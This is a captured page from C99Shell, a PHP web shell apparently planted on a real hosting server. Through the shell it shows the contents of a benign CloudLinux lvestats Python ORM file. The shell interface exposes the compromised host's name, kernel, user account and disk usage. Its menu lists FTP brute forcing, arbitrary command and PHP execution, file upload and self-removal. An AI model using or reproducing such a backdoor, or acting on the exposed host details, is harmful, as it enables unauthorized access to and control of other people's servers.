!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/orm/   drwxr-xr-x
Free 293.83 GB of 429.69 GB (68.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     bursting.py (1.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2023 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

# pylint: disable=abstract-method

import enum
from enum import IntEnum

import sqlalchemy as sa

from lvestats.orm.base import Base
from lvestats.orm.const import LVE_STATS_2_TABLENAME_PREFIX, SERVER_ID_LENGTH


class _EnumAsInteger(sa.types.TypeDecorator):
    # NOTE(vlebedev): Taken as-is from https://stackoverflow.com/a/38786737/3344105
    """Column type for storing Python enums in a database INTEGER column.

    This will behave erratically if a database value does not correspond to
    a known enum value.
    """

    impl = sa.types.SmallInteger  # underlying database type

    def __init__(self, enum_type):
        super().__init__()
        self.enum_type = enum_type

    def process_bind_param(self, value, dialect):
        if isinstance(value, self.enum_type):
            return value.value
        raise ValueError(
            f'expected {self.enum_type.__name__} value, got {value.__class__.__name__}'
        )

    def process_result_value(self, value, dialect):
        return self.enum_type(value)

    def copy(self, **kwargs):
        return _EnumAsInteger(self.enum_type)


@enum.unique
class BurstingEventType(IntEnum):
    STOPPED = 0
    STARTED = 1


bursting_events_table = sa.Table(
    LVE_STATS_2_TABLENAME_PREFIX + 'bursting_events',
    Base.metadata,
    # 'server_id' is essential for proper functionality
    # when used with a central database for multiple servers
    sa.Column('server_id', sa.String(SERVER_ID_LENGTH), primary_key=True),
    sa.Column('lve_id', sa.BigInteger, primary_key=True),
    sa.Column(
        'timestamp',
        sa.Integer,
        primary_key=True,
        index=True,
        comment='UNIX timestamp of the event (seconds precision)'
    ),
    sa.Column('event_type', _EnumAsInteger(BurstingEventType), nullable=False),
)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--